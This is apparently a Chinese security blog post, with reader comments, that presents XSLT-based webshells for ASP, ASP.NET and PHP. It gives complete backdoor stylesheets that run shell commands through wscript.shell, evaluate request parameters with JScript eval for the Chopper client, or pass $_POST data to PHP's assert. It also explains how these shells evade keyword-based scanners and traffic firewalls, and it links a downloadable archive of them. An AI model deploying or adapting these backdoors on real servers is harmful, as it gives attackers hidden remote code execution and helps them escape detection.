想来想去还是归结成一个系列吧,虽然说在现在各种讲究高大上的时代还谈webshell实在是一种没什么品味的做法。 基本上也就是一些新型webshell、特殊环境下的特殊利用、特殊webshell的菜刀中转脚本等,外带一些对应的分析。 先挖个坑,至于填坑么⋯⋯看情况吧。
0x01 xml与xslt
相信所有人对xml都不陌生,其被广泛的应用于数据数据传输、保存与序列化中,是一种极为强大的数据格式。强大必然伴随着复杂,xml在发展中派生出了一系列标准,包括DTD、XSD、XDR、XPATH以及XSLT等。
XSLT全称为拓展样式表转换语言,其作用类似于css,通过指定的规则,将一个xml文档转换为另外的形式。指定的规则由另外一个xml文件描述,这个文件通常为xsl后缀。xsl语法相对较为复杂,详情可以参考msdn中“XSLT 参考”一节。
为了对目标节点进行处理,XSLT提供了一系列用于处理XML节点的内置函数,以下是一个具体的转换示例:
xml:
#!html
<?xml version="1.0"?>
<root>123</root>
xsl:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
<xsl:value-of select="string(.)"/>
</xsl:template>
</xsl:stylesheet>
xsl文件中xsl:template节点描述了匹配规则,其match属性为一个XPATH,表示匹配的xml节点。xsl:value-of描述了转换规则,会将对前一步所匹配的节点作为参数传入select属性指定的函数中,参数.表示所匹配的节点。 对以上xml和xsl进行转换,将输出以下结果:
#!html
<?xml version="1.0" encoding="UTF-16"?>123
在有些情况下,内置函数无法满足所有的需求。为了拓展XSLT的功能,绝大部分XSL转换器都提供了脚本拓展功能。根据转换器的不同,其脚本有所差异,所支持的功能也有所不同。 在一定程度上,一个对象的安全性与复杂性是成反比的。合法功能的非预期利用是漏洞,恶意利用则可能成为隐蔽的后门。XSLT的脚本执行功能,就是这样一个可能的后门。
0x02 asp与xml
asp中最常见的就是vbscript和jscript两种语言,可通过创建MSXML2.DOMDocument COM对象获取一个xml解析器。 通过oleview可以看到,此对象公开了一个transformNode方法来进行XSL转换:
具体的调用代码大致如下:
#!xml
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
xmldoc.loadxml(xml)
set xsldoc= Server.CreateObject("MSXML2.DOMDocument")
xsldoc.loadxml(xslt)
response.write xmldoc.TransformNode(xsldoc)
参考msdn得知,自定义函数必须位于msxsl:script元素内,对照示例不难得到以下xsl:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,可以任意命名。
第三行的msxsl:script声明了一个脚本块,其language属性指定了要使用的脚本语言,implements-prefix则与前面xmlns:zcg这个命名空间前缀相对应。
在第七行通过zcg:xml(string(.))调用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先通过string内置函数转换为字符串从而获取text,再传入函数中。同样的,由于Response、Server等对象是asp内置的,所以既不能在自定义函数中访问,也不能传递给自定义函数,所有的数据传递都是通过字符串进行的。
脚本块的函数则是简单的执行-返回,其返回值会替换所匹配的节点的内容,所以上述xsl的作用就是:将指定xml中/root节点的文本作为命令执行,并返回结果。
对以下xml进行转换,其返回结果如图:
#!html
<?xml version="1.0"?>
<root>cmd /c dir</root>
可见成功执行了命令,其结果中的特殊字符都被转换成了xml实体,需要进一步进行处理。
最后,在之前某个IE漏洞中,老外所用的DVE就是使用上述方法来调用组件执行命令,所以免杀效果已经没有保证了。
0x03 .net与xml
xml可以称为.net的核心之一,[System.Xml]System.Xml.Xsl.XslCompiledTransform类和[System.Xml]System.Xml.Xsl.XslTransform类提供了XSL转换功能。
XslTransform属于已弃用的类,其调用方法如下:
#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslTransform xt = new XslTransform();
xt.Load(xsldoc);
xt.Transform(xmldoc, null);
由于此类不能引入额外的程序集,所以并没有什么使用价值。
XslCompiledTransform为微软推荐使用的类,其调用方法与XslTransform大致相同:
#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());
由于asp.net提供了静态变量[System.Web]System.Web.HttpContext::Current用于表示当前的HTTP请求上下文,所以不需要像asp中进行字符串传递。构造以下xsl进行尝试:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
访问之,可得到一个错误信息:
#!html
未能找到类型“System.Web.HttpContext.Current.Request.Item”,是否缺少程序集引用?
很明显缺少了程序集引用,查找msdn得到说明:
#!html
默认情况下引用下列两个程序集:
System.dll
System.Xml.dll
Microsoft.VisualBasic.dll(如果脚本语言为 VB)
可以使用 msxsl:assembly 元素导入其他程序集。
于是添加WebShell所必需的几个程序集,得到:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
<msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
<msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
直接访问已经没有错误,但使用菜刀连接时爆出错误:
#!html
未声明变量“Response”
很显然,菜刀提交的语句中直接调用了Response。由于jscript.net中eval的上下文与调用方共享变量且具有同一名称,手动添加菜刀所需的Request、Response、Server,可以得到以下xslt:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
<msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
<msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
此时可使用菜刀直接进行连接,功能与aspx(eval)完全相同:
最后要注意:xml的内嵌脚本块需要FullTrust信任等级,在安全模式下不能运行。当然,安全模式下正常的aspx一句话也不能运行,所以并不能算是一个缺点。
0x04 php与xml
在php的官方文档中搜索xsl,将直接定位到XSLTProcessor类,在页面中可以看到很明显的registerPHPFunctions方法。 方法的示例就是一个完整的调用过程,将函数修改为assert并略作精简,可以得到以下xsl:
#!html
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="zcg:function('assert',string(.))"/>
</xsl:template>
</xsl:stylesheet>
第二行的http://php.net/xsl这个命名空间URI表示php专用的xsl函数支持,第四行的zcg:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
为了避免xml的转义问题,进行一次assert嵌套,可以得到xml:
#!html
<root>assert($_POST[a]);</root>
由于php并没有上下文的概念,所有的代码都是在同一代码空间中执行,在xsl中可直接访问GPCS,于是可以直接使用菜刀连接:
同样的功能齐全。
美中不足的是这个功能默认并没有安装,windows上需要修改php.ini启用php_xsl.dll拓展;linux上需要编译时指定--with-xsl或额外安装php5-xsl包。鉴于php的灵活性,此类shell除隐蔽性较高外并无太大必要。
0x05 总结与其他
在上述基于xslt转换的webshell中,所有的敏感调用都是以字符串形式存在于xml中,避免了基于关键字的webshell查杀。同时,由于xslt是一项正常的功能,对xsl转换器所提供的方法进行查杀、禁用很不实际。例如:msxml组件被大量的系统用于远程文件下载或xmlrpc,基本上是不可能禁用的。 最后,服务端与客户端的交互实质上是通过xml进行的,所以可以伪装成xmlrpc/soap等协议,借助xml的转义将敏感字符转义为实体字符,以躲避基于流量分析的防火墙。例如:将cmd替换为等效的实体字符cmd等。
除了webshell外,xsl转换还有其他可能的利用点。xml支持自动导入xsl,其语法为:
#!html
<?xml-stylesheet type="text/xsl" href="http://host/template.xsl"?>
但除了浏览器之外,尚未发现有哪个解析器会自动解析这个预处理命令,不过作为一种测试手段也未尝不可,如果成功的话则很有可能是一个代码执行漏洞。 某些服务端程序允许客户端提交一个xsl进行自定义,此时若提交一个包含内嵌脚本的恶意xsl同样可能达到代码执行的目的。
0x06 参考文档
Bypassing Windows 8.1 Mitigations using Unsafe COM Objects(老外借助xslt转换的DVE利用): http://www.contextis.com/resources/blog/windows-mitigaton-bypass/
php xsl:http://php.net/manual/zh/book.xsl.php
XML标准参考资料:https://msdn.microsoft.com/zh-cn/library/ms256177.aspx
msxsl:script元素:https://msdn.microsoft.com/zh-cn/library/ms256042.aspx
XSLT 参考:https://msdn.microsoft.com/zh-cn/library/ms256069.aspx
XSLT 转换:https://msdn.microsoft.com/zh-cn/library/14689742.aspx
附件下载:Download
百度网盘:http://pan.baidu.com/s/1bnq9I8J
解压密码见注释。
同时上去三个文件么?xstl,xml,asp/php/aspx?
还是说xstl和xml定义成string存在asp/php/aspx里面。
然后transform一下?
姿势啊
感谢分享,实用才是第一高大上有什么用。
涨姿势了 高大上
一看作者的名字就知道必定是牛文一篇
解锁新姿势
zcgonvh牛总是那么屌!
@Jn· 需要开启xslt拓展,windows默认不开启,部分linux支持
你那个压缩包里面那个xslt.php直接上传网站目录?访问www.test.com/xslt.php密码a?怎么菜刀报错
挺好玩的
文中图有问题啊!